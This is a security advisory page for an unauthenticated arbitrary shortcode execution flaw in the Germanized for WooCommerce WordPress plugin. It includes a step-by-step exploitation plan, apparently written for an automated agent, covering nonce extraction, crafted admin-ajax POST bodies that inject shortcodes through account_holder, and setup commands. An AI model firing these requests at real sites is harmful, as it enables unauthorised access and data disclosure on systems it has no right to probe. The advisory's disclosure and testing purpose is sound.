Germanized for WooCommerce <= 3.20.5 - Unauthenticated Arbitrary Shortcode Execution
Description
The The Germanized for WooCommerce plugin for WordPress is vulnerable to arbitrary shortcode execution via 'account_holder' parameter in all versions up to, and including, 3.20.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:NTechnical Details
<=3.20.5What Changed in the Fix
Changes introduced in v3.20.6
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-2582 (Germanized for WooCommerce) ## 1. Vulnerability Summary The **Germanized for WooCommerce** plugin (versions <= 3.20.5) is vulnerable to **Unauthenticated Arbitrary Shortcode Execution**. The vulnerability exists because the plugin accepts user-supplied …
Show full research plan
Vulnerability Research Plan: CVE-2026-2582 (Germanized for WooCommerce)
1. Vulnerability Summary
The Germanized for WooCommerce plugin (versions <= 3.20.5) is vulnerable to Unauthenticated Arbitrary Shortcode Execution. The vulnerability exists because the plugin accepts user-supplied input via the account_holder parameter (associated with the SEPA Direct Debit payment method) and processes this value using the do_shortcode() function without adequate sanitization or validation. This allows an unauthenticated attacker to execute any registered WordPress shortcode, potentially leading to information disclosure or further exploitation.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
woocommerce_update_order_review(Standard WooCommerce AJAX action that the plugin hooks into to refresh payment information). - Vulnerable Parameter:
account_holder(often passed within thepost_datastring or as a direct POST parameter). - Authentication: None required (Unauthenticated).
- Preconditions:
- The "Direct Debit" (SEPA) payment method must be enabled in Germanized for WooCommerce settings.
- At least one product must be in the WooCommerce cart to access the checkout flow and trigger the
update_order_reviewaction.
3. Code Flow
- Entry Point: An AJAX request is sent to
admin-ajax.phpwith the actionwoocommerce_update_order_review. - Hook: WooCommerce triggers the
update_order_reviewlogic, which in turn calls hooks for active payment gateways. - Germanized Logic: The
WC_GZD_Gateway_Direct_Debitclass (or similar) handles the Direct Debit fields. It retrieves theaccount_holdervalue from the$_POSTrequest. - Vulnerable Sink: The plugin generates an HTML notice or a review summary for the payment method. It incorporates the
account_holdervalue into a template string and passes that string throughdo_shortcode().- Inferred logic:
echo do_shortcode( sprintf( __( 'Direct debit from %s', 'woocommerce-germanized' ), $_POST['account_holder'] ) );
- Inferred logic:
- Execution: The WordPress shortcode parser executes any shortcodes found in the
account_holderstring.
4. Nonce Acquisition Strategy
The woocommerce_update_order_review action requires a WooCommerce security nonce.
- Add Product to Cart: First, a product must be added to the cart to ensure the checkout page is accessible.
GET /?add-to-cart=[PRODUCT_ID]
- Navigate to Checkout: Navigate to the
/checkout/page. - Extract Nonce: The nonce is localized by WooCommerce in the
wc_checkout_paramsJavaScript object.- JS Variable:
window.wc_checkout_params?.update_order_review_nonce
- JS Variable:
- Execution Agent Steps:
browser_navigate("/checkout/")NONCE = browser_eval("window.wc_checkout_params?.update_order_review_nonce")
5. Exploitation Strategy
The exploit involves sending a specially crafted AJAX request to trigger the shortcode execution during the order review update.
Step 1: Data Preparation
- Identify a test product ID.
- Get the
update_order_review_nonce.
Step 2: Construct Payload
- Shortcode:
[audio src="https://example.com/exploit.mp3"](This is a safe, standard shortcode that renders an HTML5 audio tag, proving execution). - Alternative (Information Disclosure):
[gallery]or any shortcode that leaks content if applicable.
Step 3: Send Exploit Request
Use the http_request tool to perform a POST request.
- URL:
http://[target]/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: The parameter may be processed either from the top level or insideaction=woocommerce_update_order_review &security=[NONCE] &payment_method=direct_debit &account_holder=[audio src="https://example.com/exploit.mp3"] &post_data=billing_account_holder%3D%5Baudio+src%3D%22https%3A%2F%2Fexample.com%2Fexploit.mp3%22%5D%26payment_method%3Ddirect_debitpost_data. Including both ensures coverage.)
6. Test Data Setup
- Create Product:
wp post create --post_type=product --post_title='Test Product' --post_status=publish - Enable Gateway: Ensure the Germanized Direct Debit gateway is active.
wp option update woocommerce_direct_debit_settings '{"enabled":"yes"}'(Note: Check the exact option name if this fails).
- Add to Cart:
GET /?add-to-cart=[PRODUCT_ID]
7. Expected Results
- The server will return a JSON object with a
fragmentskey. - The
fragmentsHTML will contain the rendered output of the shortcode. - For the
[audio]shortcode, look for:<audio class="wp-audio-shortcode" ...>or similar HTML tags in the response body.
8. Verification Steps
- Analyze AJAX Response: Use
http_requestand inspect the response body for the string<audio. - Check for Non-Escaped Output: Confirm that the shortcode characters
[and]were not literally reflected, but replaced by their rendered HTML equivalent.
9. Alternative Approaches
If woocommerce_update_order_review does not reflect the output, the vulnerability may be triggered on the final checkout submission:
- Action:
wc-ajax=checkout - Payload: Submit the checkout form with
billing_account_holder=[shortcode]. - Observation: Check the resulting "Thank You" (Order Received) page for the rendered shortcode output. This page is usually at
/checkout/order-received/[ORDER_ID]/.
If account_holder is not the correct parameter name for the specific version, check for billing_account_holder or sepa_account_holder. The CVE description specifically points to account_holder.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.